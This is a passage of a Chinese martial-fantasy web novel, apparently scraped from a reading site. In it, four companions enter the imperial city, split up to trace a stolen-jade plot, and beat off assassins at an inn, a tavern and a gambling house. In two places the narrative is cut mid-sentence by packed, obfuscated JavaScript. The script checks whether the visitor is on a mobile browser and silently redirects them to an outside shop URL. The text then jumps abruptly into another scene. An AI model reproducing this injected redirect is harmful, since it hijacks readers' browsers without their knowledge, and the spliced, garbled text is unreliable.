姣姣笑眯眯地看着他:“不干什么,就是问你几个问题。” “你、你问……” “谁派你们来的?” 那人张了张嘴,没说话。 姣姣叹了口气,从腰间摸出一颗药丸,在他眼前晃了晃。 “知道这是什么吗?” 那人摇头。 “蚀骨丸。吃下去之后,骨头会一寸一寸地烂掉,先从脚趾开始,然后是脚踝、小腿、膝盖……”姣姣说得轻描淡写,“大概一个时辰,能烂到脖子。” 那人脸色惨白。 “我、我说……是……是……” 话没说完,他忽然浑身一僵,眼睛瞪大,嘴角涌出黑血。 姣姣脸色一变,伸手去探他鼻息。 已经没气了。 她站起来,看向其他人。 二十三个人,全都死了。 口鼻流血,面色青黑,死状一模一样。 姣姣眯起眼:“中毒。” 姜亦走过来,低头看了看那些尸体,皱眉道:“死士,嘴里藏了毒,任务失败就自杀。” 姣姣啧了一声:“这帮人,够狠的。” 闻人奚郁从马车里下来,看了看那些尸体,摇了摇头。 “这是生怕我们查下去啊。” 姜亦看向奕秋。 奕秋终于睁开眼,从马车里出来,扫了一眼那些尸体。 什么都没说。 但她的眉头,微微蹙了一下。 四人重新上车。 马车绕过那些尸体,继续向前。 姣姣扒在车窗边,看着那些越来越远的尸体,忽然说:“这案子,比我想的麻烦。” 姜亦看她一眼:“怕了?” “怕什么。”姣姣咧嘴一笑,“越麻烦越好玩。” 姜亦嘴角微微扬起。 闻人奚郁摇着折扇,笑道:“刚才那场打得真漂亮。姜亦,姣姣姑娘,你俩联手,这二十三个人就跟砍瓜切菜似的。” 姜亦难得露出一个真心的笑:“其实还是太少了。和姣姣姑娘联手,这些人哪里够。” 姣姣“嘿嘿”一笑:“下次让他们多叫点,打过瘾。” 姜亦点头,笑着接话:“行,下次多叫点。” 马车里,四个人各自坐着。 奕秋依旧闭目养神。 闻人奚郁摇着折扇,笑眯眯的。 姜亦擦拭着剑,嘴角还带着那点笑意。 姣姣趴在车窗边,看着窗外飞逝的风景。 忽然,她回头说:“对了姜大侠,你刚才说输了的人请客。你输了还是我输了?” 姜亦愣了一下,然后笑了。 “你撂倒几个?” 姣姣想了想:“十一个。” “我十二个。”姜亦道,“你输了。” 姣姣瞪眼:“你骗人!我明明数着,你才十个!” “你数错了。” “不可能!” 两人又吵了起来。 闻人奚郁在旁边笑得不行。 奕秋依旧闭着眼,但嘴角,微微弯了一下。 6. 一诺江湖城门开 马车又走了两个时辰。 日头渐渐西斜,天边的云彩染上一层淡淡的金色。 官道上的行人越来越多,挑担的、赶车的、骑马的、步行的,形形色色,都往同一个方向去。 姣姣扒在车窗边,看得目不转睛。 “这么多人,都是去皇城的?” 姜亦点头:“皇城是原终最大的城池,每天进出的人成千上万。做买卖的、走亲戚的、游历的、办事的,什么人都有。” “鱼龙混杂,怎么找线索?” 姣姣笑他:“你这话说的,可不就是忘记我家小姐啦?” 姜亦目光下意识落向奕秋。 只见她依旧闭着眼睛,坐姿端正,清冷出尘。 手中的龟甲隐隐发光。 闻人奚郁笑了笑,摇着折扇道:“也是,奕秋姑娘毕竟是尊界的东夷卦修,线索这东西,不就是瓮中捉鳖。” 半个时辰后,皇城的城墙终于出现在视线里。 巍峨的城墙,高耸的城楼,城墙上每隔一段就有一座箭塔,有士兵来回巡逻。城门洞开着,进进出出的人流像一条河,缓缓流动。 姣姣扒在车窗边,看得眼睛发直。 “我的天……这也太大了吧?” 姜亦嘴角微微扬起,难得露出一丝得意。 “原终皇城,四域第一大城。 城墙周长六十里,城内常住人口五十万,东西两市,南北九街,三教九流,应有尽有。” 姣姣扭头看他:“你怎么这么清楚?” 姜亦噎了一下。 闻人奚郁在旁边轻笑:“姜亦家在皇城,自然清楚。” 姣姣“哦”了一声,意味深长地看了姜亦一眼。 姜亦别过脸,假装没看见。 马车在城门外停下。 守卫“锵”地一声横戟拦下。 士兵铠甲锃亮,手中长剑灵光隐现,一望便知是上好的制式法器。 “皇城重地,无通行文书者不得入内。” 车厢里,姣姣正跟手里的肉包搏斗,两颊塞得鼓鼓囊囊,含糊不清地问:“唉姜大侠,你们原终进门还得查户口啊?你有那什么文书没?” 姜亦被问得一怔。 他这位皇城顶尖的贵公子,出入从来畅通无阻,何曾留意过“通行文书”这等琐事? 姣姣看着他瞬间空白、又强作镇定的表情,噗嗤一下笑出声,包子馅差点喷出来。 她扭头看向奕秋。 奕秋闭目养神,感受到视线,才掀开眼帘,淡淡回望。 姣姣三两口吞下包子,舔舔嘴角油花,冲三人眨眨眼:“瞧好啦,给你们露一手真正的江湖通行证。” 说罢,她一抹嘴,利落地跳下马车。 姜亦皱眉,低声道:“她真有文书?” 一直沉默的奕秋吐出两个字:“没有。” “那她下去作甚?”姜亦不解,“单挑一整队皇城守军?就算她是近尊,这也——” 闻人奚郁轻摇折扇,眼中含笑:“姜亦,你且看着。这位姣姣姑娘的‘本事’,恐怕从来不在打打杀杀上。” 车外已传来姣姣清亮带笑的嗓音: “这位军爷——哎别急着瞪我嘛!” “劳烦您通报一声,就说是姣姣找赵守成赵将军!” “对对,就是你们主将赵大哥!” “您就去说一声嘛,又不少块肉,万一他真认识我呢?” 片刻,一个浑厚不耐的嗓音由远及近:“哪个不长眼的丫头片子敢直呼本将——” 话音戛然而止。 身着玄甲、虎背熊腰的赵守成大步流星走来,原本拧成“川”字的眉头,在目光触及车边那个笑盈盈的红衫少女时,骤然松了。 那张惯常肃杀的脸上,竟控制不住地扯开一个实实在在的、近乎惊喜的笑。 “——姣姣?!” “真是你这小祖宗!” 姣姣笑眯眯地冲他挥手:“赵大哥,好久不见!” 赵守成几步走过来,上下打量她,忽然一巴掌拍在她肩上。 “你这丫头,上次一别快两年了吧?怎么,这次又路过?” 姣姣被他拍得一个趔趄,龇牙咧嘴:“赵大哥你轻点!我这小身板经不起你拍!” 赵守成哈哈大笑,转头对那几个守卫说: “放行!这是我亲妹子!” 守卫们面面相觑,连忙收起长戟,让开道路。 姣姣回头冲马车里招招手:“下来吧,搞定了。” 姜亦和闻人奚郁从车里下来。 赵守成目光扫过两人,在姜亦身上停留一瞬,又落在闻人奚郁身上,眼中闪过一丝打量。 “这两位是……” “我朋友。”姣姣随口道,“跟我一起查案的。” “查案?”赵守成眉头一皱,“查什么案?” 姣姣眨眨眼:“回头再跟你说。对了赵大哥,皇城最近有没有什么新鲜事?比如……冰心玉什么的?” 赵守成脸色微微一变。 他看了看四周,压低声音:“你打听这个做什么?” 姣姣笑容不变:“就是随便问问。” 赵守成盯着她看了两息,忽然叹了口气。 “你这丫头,走到哪儿都不消停。” 他从怀里摸出一块腰牌,塞给姣姣。 “拿着这个,有事来城北大营找我。” “别瞎打听那些不该打听的事,明白吗?” 姣姣接过腰牌,笑眯眯地揣进怀里。 “明白明白,赵大哥最好了。” 赵守成无奈地摇摇头,又叮嘱了几句,这才转身离开。 姣姣回头,对上姜亦和闻人奚郁的目光。 姜亦眼神复杂:“你认识他?” “认识啊。”姣姣理所当然地说,“前年路过原终,顺手帮他处理了点军中疫病,救了三十几个将士的命。他非要认我做妹子,拦都拦不住。” 姜亦:“……” 闻人奚郁摇着折扇,忽然说:“姣姣姑娘,你那位赵大哥,是城北大营的主将?” 姣姣点头:“对啊,怎么?” 闻人奚郁笑了笑:“没什么。就是觉得,你这人缘,确实好。” 姣姣得意地晃了晃脑袋:“那是。” 闻人奚郁轻笑:“姣姣姑娘这人缘,确实让人叹为观止。” 姣姣得意地晃了晃手里的腰牌:“走啦,进城!” 四人穿过城门,踏入原终皇城。 皇城的街道比边境小镇繁华太多。 青石铺就的路面平整宽阔,两旁店铺鳞次栉比,卖绸缎的、卖胭脂的、卖法器的、卖兵器的,吆喝声此起彼伏。 行人摩肩接踵,有身着华服的公子小姐,有腰悬兵器的江湖客,有挑担叫卖的小贩,有蹲在墙角算命的半瞎。 姣姣一路东张西望,看得目不暇接。 “嚯,这地方真热闹。” 姜亦走在她身侧,神色淡然:“皇城分东西两市,东市繁华,西市杂乱。咱们现在进的是东门,所以先到东市。” “那咱们先逛哪儿?” “先找个地方住下。”姜亦道,“然后再去查线索。” 四人在东市的街上走着。 姣姣忽然停住脚步,看向一个卖小吃的摊位。 “那是啥?” 摊主是个胖乎乎的中年汉子,见有人问,忙笑道:“姑娘,这是桂花糕,原终特产,又香又糯,来一块尝尝?” 姣姣眼睛亮了,回头看向奕秋。 奕秋没说话。 姣姣又看向闻人奚郁。 闻人奚郁笑着掏出银子:“买。” 姣姣捧着桂花糕,一边走一边吃,嘴角沾着碎屑,笑得眼睛弯弯的。 “好吃!” 姜亦在旁边看着,嘴角微微动了一下。 又走了一会儿,前面出现一个卖艺的圈子。 一个精瘦的汉子在耍大刀,刀舞得虎虎生风,围了一圈人叫好。旁边还有个小孩在翻跟头,翻了十几个,脸不红气不喘。 姣姣挤进去看了一会儿,回头说。 “这刀法,比那雷彪差远了。” 姜亦点头:“花架子,中看不中用。” 姣姣嘿嘿一笑,继续往前走。 逛了小半个时辰,姜亦在一家客栈门口停下。 客栈不大,但收拾得很雅致。院里种着几竿翠竹,墙角摆着几盆兰草,空气里有淡淡的檀香味。 姜亦道,“这家客栈不错,清静。” 四人进去。 掌柜是个四十来岁的中年妇人,见他们气度不凡,笑眯眯地迎上来。 “几位客官住店?” 闻人奚郁上前,递过去一锭银子。 “三间上房,要清静些的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437470|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >掌柜接过银子,眼睛亮了亮,连忙应下。 “有有有,后院三间,最清静不过。几位跟我来。” 后院确实清静,三间房围着一个小小的天井,天井里摆着一张石桌几个石凳,角落里种着一棵桂花树,正开着花,香气馥郁。 姣姣一进院子就深吸一口气。 “这地方不错!” 姜亦选了一间房,推门进去。 闻人奚郁跟在他后面,经过姣姣身边时,忽然压低声音:“姣姣姑娘,你那位赵大哥……可不简单。” 姣姣挑眉看他。 闻人奚郁笑了笑,没再多说,进了房间。 姣姣扭头看奕秋。 奕秋已经进了另一间房,白衣在门边一闪,就没了影。 姣姣耸耸肩,也进了自己的房间。 安顿好之后,四人在天井里碰头。 姜亦和闻人奚郁正在打量着起卦的奕秋。 只见奕秋手中的龟甲隐隐发光,不过片刻,她道:“现在线索有三条。” “城西集市算命摊,东市酒楼摘星楼,还有城北千金阁赌坊。” “我去集市算命摊,那里有故人。” “剩下的,怎么分?” 姣姣举手:“我去赌坊。” 姜亦愣了一下:“你一个小姑娘去赌坊?!” 姣姣眨眨眼,一脸无辜:“对呀。” 姜亦皱眉:“那种地方龙蛇混杂,你…” 姣姣打断他:“姜大侠,你忘了我刚才一个人撂倒十一个五道高手?” 姜亦噎住了。 闻人奚郁在旁边笑出声:“姜亦,你操心得太多了。姣姣姑娘的本事,你刚才不是亲眼见过了?” 姜亦沉默了一瞬,没再说话。 闻人奚郁摇着折扇:“那我和姜亦去摘星楼。” “行。”姣姣站起来,“查完之后在哪儿碰头?” “摘星楼顶层。”姜亦说,“报我名字。” 姣姣眨眨眼,又想问什么,但被闻人奚郁笑着打断了: “姣姣姑娘,有些事,该知道的时候自然就知道了。” 姣姣撇撇嘴,没再问。 四人各自回房休息,为明天的行动做准备。 夜里。 姣姣躺在床上,翻来覆去睡不着。 “小姐。” “嗯。” “你说,姜亦在摘星楼报名字,会不会吓到人?” 奕秋没说话。 姣姣嘿嘿笑起来:“我猜肯定吓一跳。他那名字,肯定不简单。” 奕秋还是没说话。 姣姣翻了个身,面朝她,眼睛亮晶晶的:“小姐,明天我去赌坊,要是有人找麻烦,我就报你的名字。” 奕秋终于开口:“那你当我没名字。” 姣姣笑得促狭:“那就报我自己的名字,反正我人缘好。” 奕秋看她一眼,没说话。 但眼底,有一丝极淡的无奈。 隔壁房间。 姜亦坐在窗边,看着窗外的月色。 闻人奚郁坐在桌旁,慢条斯理地翻着一本书。 “姜亦。” “嗯?” “对于幕后主使,你应该有想法了吧。” “当然,但是这场戏,还要演。” “而且,我要把那些蛀虫,全部揪出来。” 姜亦说。 “所以,你之前给我说的,那个姓周的库吏,跟这案子有多大关系?” 姜亦沉默了一会儿,说:“很大。” “大到什么程度?” “大到背后那人,派了二十三个死士来杀我们。” 闻人奚郁点了点头。 “可惜他们不知道,你亲自查案了。” 姜亦一笑:“他们也不知道,你亲自来到原终了。” 闻人奚郁合上书,站起来,走到窗边。 “那两个人……” 他顿了顿。 “她们比我们想的,还要深。” 姜亦没说话。 但他知道闻人奚郁在说什么。 那场打斗,姣姣的每一个动作,他都看在眼里。 五道四重,打出来的架势,却和其他近尊丝毫不同。 姜亦忽然想起刚才姣姣说的那句话: “我人缘好。” 他笑了笑。 “确实好。” 7. 卦分三路晓迷踪 晨光熹微,东市最繁华的街道上已经热闹起来。 姜亦和闻人奚郁并肩走着。 姜亦还是那身墨绿劲装,左耳的赤金麒麟坠随着步伐轻轻摇晃,在阳光下闪着细碎的光。 闻人奚郁依旧是淡紫玄衣,长发披散,手里摇着折扇,笑眯眯地打量着四周。 “这地方,倒是比上次来的时候更热闹了。”闻人奚郁道。 姜亦瞥他一眼:“你上次来是什么时候?” “三年前吧。”闻人奚郁想了想,“跟着家里的商队,路过皇城,待了两天。” 姜亦嘴角一抽。 “商队?你们家还有商队?” 闻人奚郁眨眨眼,一脸无辜:“怎么,不行吗?” 姜亦懒得理他。 两人一路走到摘星楼前。 九层高楼,雕梁画栋,檐角悬着铜铃,风一吹,叮当作响。 门口站着两个小厮,衣着体面,见有客来,忙迎上来。 “两位客官,里边请。” 姜亦没说话,抬脚往里走。 闻人奚郁跟在后面,摇着折扇,笑眯眯地打量四周。 摘星楼的一楼是大堂,摆了二十几张桌子,已经坐了不少客人。有穿绸缎的富商,有腰悬兵器的江湖客,有衣着体面的官家人,也有几个一看就不是善茬的横角色。 姜亦扫了一眼,径直往楼上走。 小二跟上来,陪着笑:“客官,二楼雅座……” “三楼。”姜亦打断他。 小二愣了一下:“三楼是包厢,最低消费……” 姜亦看了他一眼。 那一眼很淡,但小二忽然觉得后背一凉,后面的话硬生生咽了回去。 “三、三楼请。” 两人跟着小二上了三楼。 三楼全是包厢,走廊里铺着厚厚的地毯,墙上挂着字画,空气里有淡淡的檀香味。 小二把他们引到最里面的一间包厢,推开门:“两位客官,这间可好?” 姜亦往里看了一眼,点了点头。 包厢不大,但收拾得很雅致。临街的窗户开着,能看见楼下的街道和远处的城楼。桌上摆着茶具,旁边还有一盆兰草,开着细小的白花。 两人落座。 小二问:“客官用点什么?” 姜亦淡淡道:“把你们掌柜的叫来。” 小二一愣:“掌柜的?” “嗯。” 小二犹豫了一下,但还是应了,退出去。 闻人奚郁摇着折扇,笑道:“姜亦,你这是要亮身份了?” 姜亦没说话,只是端起茶杯,抿了一口。 片刻,门被推开。 一个四十来岁的中年男子走进来,穿着体面的绸衫,留着山羊胡,一双眼睛精明得很。 他扫了两人一眼,目光在姜亦身上停留一瞬,然后笑着拱手:“两位客官,在下是摘星楼的掌柜,姓钱。不知二位有何吩咐?” 闻人奚郁先开口,眼中含笑,看上去温和有礼:“这位公子,姓姜,叫他姜公子就好了。” 钱掌柜愣了一下,但又想到了什么,笑着应答:“姜公子。” 他心道:姓姜的又不止一个。 然后又看向这位紫衣公子。 闻人奚郁摆摆手:“我不重要。” 钱掌柜又看向姜亦,笑着问:“这位姜公子有何吩咐?” 姜亦放下茶杯,抬眼看他。 “钱掌柜,问你件事。” 钱掌柜笑容不变:“客官请说。” “最近几个月,有没有军中的人来你这儿喝酒?” 钱掌柜眼神微微一闪,但脸上依旧带着笑:“客官这话问的,摘星楼开门做生意,三教九流什么人都有。军中的人,自然也是有的。” “有没有一个姓周的?周库吏。” 钱掌柜的笑容僵了一瞬。 就那么一瞬间,但姜亦看见了。 “客官,”钱掌柜干笑,“这姓周的人多了,不知您说的是哪个周?” 姜亦没说话,只是从怀里摸出一块玉牌,放在桌上。 那玉牌通体莹白,上面刻着一个“姜”字,边缘有繁复的云纹,一看就不是凡品。 钱掌柜低头看了一眼,脸色骤变。 他抬起头,再看姜亦的眼神,已经完全不一样了。 他的声音有些发抖,“您、您是……” 姜亦没答,只是收起玉牌,淡淡道:“那个姓周的库吏,来过没有?” 钱掌柜咽了口唾沫,压低声音:“来、来过。大概两个月前,他带着几个人来喝酒,订的是隔壁那间包厢。后来……后来又来过几次。” “跟谁一起?” “这个……”钱掌柜犹豫了一下,“好像也是军中的,具体是谁,小的不清楚。不过有一次,他们喝多了,小的隐约听见他们在说什么……冰心玉。” 姜亦和闻人奚郁对视一眼。 果然是他。 “还说什么了?” 钱掌柜摇头:“这个小的真不知道。他们说话声音很小,小的也不敢多听。” 姜亦沉默了一瞬,又问:“那个姓周的,长什么样?” “四十来岁,中等个头,有点胖,左边眉毛上有道疤。”钱掌柜描述着,“穿的是军中的便服,但料子不错,应该是个官。” 姜亦点了点头。 “多谢。”他站起来,从袖中摸出一锭银子,放在桌上。 钱掌柜连忙摆手:“使不得使不得,姜公子您能来摘星楼,是小的的福分,哪能收您的钱……” 姜亦没理他,直接推门出去。 闻人奚郁跟在后面,走到门口,忽然回头冲钱掌柜笑了笑。 那笑容温柔得很,桃花眼弯弯的。 但钱掌柜忽然觉得后背发凉。 两人下了楼,刚走到二楼楼梯口,姜亦的脚步忽然顿住。 “怎么?”闻人奚郁问。 姜亦没答,只是看着楼下。 闻人奚郁顺着他的目光看过去,笑了。 一楼大堂里,多了十几个人。 都是寻常客人的打扮,但坐得太整齐了。四个人占一张桌子,背对着背,目光时不时往楼梯口扫。 “东南角四个。”闻人奚郁低声说。 “西北角三个。”姜亦接话。 “门口那两个。” “还有后门那三个。” 两人对视一眼。 闻人奚郁摇着折扇,笑道:“这是冲着咱们来的?” “废话。”姜亦抬脚往下走,“你自己小心。” 闻人奚郁跟在他身后,声音还是那样温柔:“我一个不会武功的文弱书生,你可要保护好我啊。” 姜亦懒得理他。 两人走到一楼,那些人的目光齐刷刷看过来。 姜亦没停,径直往门口走。 刚走出三步,东南角那四个人动了。 他们站起来,不紧不慢地走过来,正好堵在姜亦和闻人奚郁前面。 “两位,”为首的是个刀疤脸,皮笑肉不笑,“借一步说话?” 姜亦看着他,忽然笑了。 那笑容张扬得很,左耳坠晃了晃。 “借一步?借多少步?” 刀疤脸愣了一下。 下一秒,剑光亮起。 那四个人还没反应过来,就被一剑震飞出去,砸翻了旁边的两张桌子。 整个大堂瞬间乱成一团。 “杀人啦——!” “快跑!” “有刺客!” 客人四散奔逃,小二躲到柜台后面,连头都不敢露。 姜亦站在原地,剑已归鞘,仿佛什么都没发生过。 那四个人躺在地上,哼哼唧唧,起不来。 “还有谁?”姜亦问。 没人应声。 但下一秒,十几道人影同时动了。 从东南角、西北角、门口、后门,十几个人同时扑上来,刀光亮成一片,封死了所有退路。 姜亦笑了。 “这才像话。” 他拔剑。 剑光炸开的瞬间,冲在最前面的三个人直接被震飞出去,砸在柱子上,滑下来,不动了。 姜亦站在原地,一步都没动。 那些人越打越心惊。 这年轻人的剑太快了,快到他们根本看不清。明明只有一个人,明明他们十几个人一起上,却连他的衣角都碰不到。 姜亦一边打,一边还有闲心回头看了一眼。 闻人奚郁站在角落里,离战场远远的,正摇着折扇看戏。 “你倒是躲得远。”姜亦道。 “那当然。”闻人奚郁理直气壮,“我一个不会武功的文弱书生,不躲远点,不是给你添乱吗?” 姜亦“嗤”了一声,随手一剑,又震飞三个人。 打到一半,忽然有人发现不对劲。 那个紫衣服的,一直躲在角落里,好像是个软柿子。 有人悄悄摸过去,一刀刺向闻人奚郁后心。 刀锋凌厉,带着五道二重的全力一击。 闻人奚郁正在看姜亦打架,根本没回头。 刀锋刺到他后心前三寸。 闻人奚郁微微侧身。 那三寸的距离,忽然变成了三丈。 不是他动了,是那人刺空了。 刀锋从他肋下划过,连衣角都没碰到。 那人愣住,不等他反应过来,闻人奚郁已经“哎呀”一声,整个人往旁边一歪,像是被吓到了,但歪的角度刚好又躲开了第二刀。 那人再刺。 他又躲开。 再刺。 再躲。 一连七刀,刀刀落空,每一刀都差之毫厘,每一刀都没碰到他一根汗毛。 闻人奚郁全程端着折扇,脸上的表情——是那种“我好害怕”的表情,但眼神里一点害怕的意思都没有。 那人终于慌了。 他看着闻人奚郁,像是在看一个怪物。 “你——!” 话没说完,一道剑光掠过。 姜亦收剑,那人倒在地上,不动了。 闻人奚郁端着折扇,低头看了一眼地上的尸体,叹了口气: “唉,吓死我了。” 姜亦看他一眼。 那眼神很复杂——像是在说“你装,你继续装”。 闻人奚郁无辜地眨眨眼。 战斗结束了。 十几个人,全趴下了。 有的躺在地上,有的挂在柱子上,有的撞破了窗户摔到街上。哼哼唧唧的声音此起彼伏,但没有一个还能站起来的。 姜亦收剑,拍了拍衣摆上并不存在的灰尘,走到闻人奚郁身边。 “躲得挺好啊。” 闻人奚郁笑眯眯的:“运气好。” 姜亦懒得戳穿他,转身往外走。 闻人奚郁跟上去,走了两步,忽然回头看了一眼那些趴在地上的人。 那一眼很短,短到几乎察觉不到。 但他的嘴角,微微弯了一下。 * 城北千金阁,是皇城最大的赌坊。 三层楼,门口挂着大红灯笼,门里传出摇骰子的哗啦声和赌客的吆喝声,热闹得像赶集。 姣姣站在门口,仰头看了看那招牌,咧嘴一笑。 “千金阁……名字取得挺大。” 她推门进去。 赌坊里烟雾缭绕,灯火通明。 一张张赌桌前挤满了人,有穿绸缎的富商,有腰悬兵器的江湖客,有衣衫褴褛的破落户,有浓妆艳抹的妇人。 每个人脸上都带着一种光——贪婪的光、兴奋的光、绝望的光。 姣姣在人群里穿行,目光四处扫着。 她今天换了一身不起眼的红布衣裙,腰间那些叮叮当当的香囊玉佩也收了大半,只留了几个最要紧的。但走路的姿势还是那样,懒懒散散的,像是在逛集市,不是来查案的。 她找了张最大的赌桌,挤进去。 桌上堆满了银子和筹码,庄家是个精瘦的汉子,正在摇骰盅。 姣姣从怀里摸出一锭银子,拍在桌上。 “买大。” 庄家看了她一眼,没说什么,摇起骰盅。 “哗啦哗啦——” 骰盅落下,揭开。 “四五六,大。” 姣姣赢了。 她笑了笑,把赢来的银子拢到自己面前。 庄家又看了她一眼,眼神里多了一丝打量。 姣姣没理他,又从怀里摸出一锭银子,拍在桌上。 “还是大。” “哗啦哗啦——” “四四六,大。” 又赢了。 姣姣把银子拢过来,从腰间解下一枚银铃,拿在手里轻轻摇着。 银铃叮当,声音清脆,在嘈杂的赌坊里格外显眼。 “买小。” “哗啦哗啦——” “一二三,小。” 又赢了。 周围的人都看过来了。 “这小姑娘手气也太好了吧?” “三把全中?” “不对,她肯定有问题!” “有问题你怎么抓?她又没出千……” 姣姣笑眯眯地把银子拢过来,继续摇银铃。 “说起来,”她像是自言自语,声音不大,但刚好能让周围的人听见,“我听说最近军中出事了,冰心玉被人偷换,钱财中饱私囊——你们听说了吗?” 赌桌周围静了一瞬。 庄家的手顿了顿,又继续摇骰子。 “六六三,大。” 姣姣又赢了。 她把银子拢过来,继续摇铃。 “我还听说,偷换冰心玉的人,用的都是军中的路子。换出去的玉,流到了皇城几个赌坊里——换成银子,再分出去。” 她说着,扫了一眼周围的人。 角落里,有几个人对视了一眼。 “小姑娘,”庄家干笑,“你这话说得……没凭没据的,可别乱说。” “乱说?”姣姣眨眨眼,一脸无辜,“我没乱说啊,我就是随便聊聊。” 她又摇了一次骰子。 又赢了。 桌上的银子已经堆成了小山。 姣姣把银子往自己这边拢了拢,忽然叹了口气。 “唉,赢太多了,有点不好意思。” 她站起来,拍拍手。 “那我先走了,下次再来玩。” 她转身往外走。 刚走出两步,角落里那几个人就动了。 六道人影从不同方向包抄过来,封住了她的去路。 都是五道高手。 最高那个,五道三重。 “小姑娘,”领头那人冷笑,“赢钱就走?这规矩不太对吧?” 领头人看向姣姣,目光落在她腰间。 腰肢纤细,没有配备任何武器,就只有几个香囊,一看就个弱鸡。 姣姣歪头看他:“什么规矩?” “跟我们走一趟。”那人往前一步,“有些事,得问清楚。” “哦——”姣姣拉长声音,“你们就是那个偷换冰心玉的人吧?” 领头人脸色一变。 “动手!” 六道人影同时扑上来。 刀光亮起。 姣姣没躲。 她只是抬起手,一把粉末撒了出去。 冲在最前面的两个人猛地捂住眼睛,惨叫出声。 “毒——!” 话音未落,姣姣已经冲了上去。 她打架从来不用武器,就是拳脚。 一拳砸在一个人脸上,那人横飞出去。一脚踹在一个人腹部,那人捂着肚子跪了下去。 最壮的那个五道三重冲上来,一刀劈向她面门。 姣姣侧身躲开,同时一拳砸在他肋下。 “砰!” 那人闷哼一声,后退一步。 他低头看了看自己的肋下。 “你——” 姣姣没让他说完。 她又是一拳,砸在他胸口。 那人再退一步。 姣姣第三拳砸在他腹部。 那人弯下腰,还没直起来,就被姣姣一把抓住后领,右腿一旋,勾住他的腰—— 腿部发力。 “呃啊——!” 那人整个人被她掀飞出去,砸翻了后面冲上来的三个人。 四个人滚成一团,摔在地上。 剩下两个想跑,姣姣已经冲上去了。 一拳一个。 干净利落。 不到一盏茶的工夫,六个人全趴下了。 姣姣拍了拍手上的灰,走到那个五道三重面前,蹲下。 那人躺在地上,满脸是血,眼神里全是恐惧。 “别、别杀我……” 姣姣笑眯眯地看着他:“不杀你。就是问你几个问题。” “你、你问……” “冰心玉,是谁换的?” 那人张了张嘴,没说话。 姣姣叹了口气,从腰间摸出一颗药丸,在他眼前晃了晃。 “知道这是什么吗?” 那人摇头。 “蚀骨丸。吃下去之后,骨头会一寸一寸地烂掉,先从脚趾开始,然后是脚踝、小腿、膝盖……”姣姣说得轻描淡写,“大概一个时辰,能烂到脖子。” 那人脸色惨白。 “我、我说……” 姣姣笑着把药丸收回去。 “这就对了嘛。” 一盏茶后,姣姣站起来,拍了拍衣摆。 她走到赌坊门口,忽然回头。 那六个人还躺在地上,哼哼唧唧的,没人敢动。 “对了,”姣姣冲他们挥挥手,“下次想杀我灭口,多叫几个人。六个不太够。” 说完,推门出去。 红布裙消失在夜色里。 赌坊里,一片死寂。 过了很久,才有人小声说:“……这姑娘,到底什么来头?” “看起来就十五六岁吧。” “不对吧,她那境界,是五道四重啊!” 旁边的人惊呆了:“十五六岁的近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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都是寻常商贩的打扮,但脚步太稳,眼神太利。混在人群里看不出来,一旦动起来,那股子军中才有的煞气就藏不住了。 为首那人打了个手势,七八道人影同时拔刀,一言不发,刀光已罩向奕秋后背。 ——训练有素,配合默契,不留活口。 巷口,算命老者猛地站起来。 “小心——!” 话音未落,刀光已经到了。 奕秋没回头。 她只是微微侧身,抬起手中的剑鞘。 “铛。” 刀锋劈在剑鞘上,纹丝不动。 那人瞳孔骤缩。 这一刀用了全力,就是铁石也该留下痕迹,可那剑鞘上连道白印都没有。 他来不及变招,就听见一个清冷的声音。 “定。” 言出法随。 七八道人影同时僵在原地,像被无形的锁链捆住,连眼珠都转不了。刀还举在半空,脚还保持着冲刺的姿态,整个人却动弹不得。 巷子里静了一瞬。 然后炸开锅。 巷口那些看热闹的人,本来只当是寻常打斗,想躲远点。结果看见这一幕,全愣住了。 “这、这是什么……” “她说什么了?她说‘定’?” “那些人怎么不动了?!” “东夷卦术……这是东夷卦术!” 有人结结巴巴地问:“不是、不是说东夷人只会跳大神吗?” 旁边的人瞪他一眼:“跳大神能定住五道高手?!你跳一个我看看!” “可、可他们刚才说东夷都是神神叨叨的……” “你听说的那些是骗子!这才是真东西!” 混乱中,奕秋收回剑鞘,继续向前走。 连头都没回。 身后,七八道人影还保持着那个滑稽的姿势,像一尊尊石像立在巷子里。 最前面那个人还保持着举刀的姿势,刀刃悬在半空,离奕秋的后背只有三寸。 他的眼睛瞪得老大,眼珠都转不了,只能眼睁睁看着那道白影越走越远。 算命老者缓缓站起来,看着那道白影消失在巷口,喃喃道: “言出法随……尊界的强者。” 他顿了顿,又补了一句: “鸾虞尊君一脉的卦术,竟然还有人活着。” 巷子里的人群还在议论。 “你看见了吗?她连剑都没拔!” “就说了个字,那些人就动不了了……” “东夷……东夷人这么厉害的吗?” “废话!人家那是卦修!言出法随!你以为是路边算命呢!” “那个算命的说刚刚那个白衣女子是尊界?” “尊界?!那不是传说中的人物吗?” “我滴个乖乖,东夷真是藏龙卧虎啊……” “以后谁再说东夷是跳大神的,我第一个跟他急!” 议论声中,那七八道人影终于能动了——不是解开束缚,是瘫软在地,大口喘气,浑身冷汗。 他们看着奕秋离开的方向,眼神里全是恐惧。 为首那人挣扎着爬起来,声音沙哑: “撤。” “头儿,那卦术……” “撤!”他咬牙,“尊界……不是我们能动的。” 七八道人影互相搀扶着,消失在巷子另一头。 巷子里,人群还在议论。 有人看着奕秋离开的方向,眼睛发亮: “这才是真本事啊……” 旁边的人点头: “东夷……藏得太深了。” * 摘星楼顶层,最里面的包厢。 姜亦靠在窗边,左耳坠在月光下晃了晃。闻人奚郁坐在桌边,慢条斯理地斟茶。 门被推开。 姣姣走进来,往椅子上一瘫。 “累死我了。”她抓起桌上的点心就往嘴里塞,“你们那边怎么样?” 姜亦没说话,只是看了她一眼。 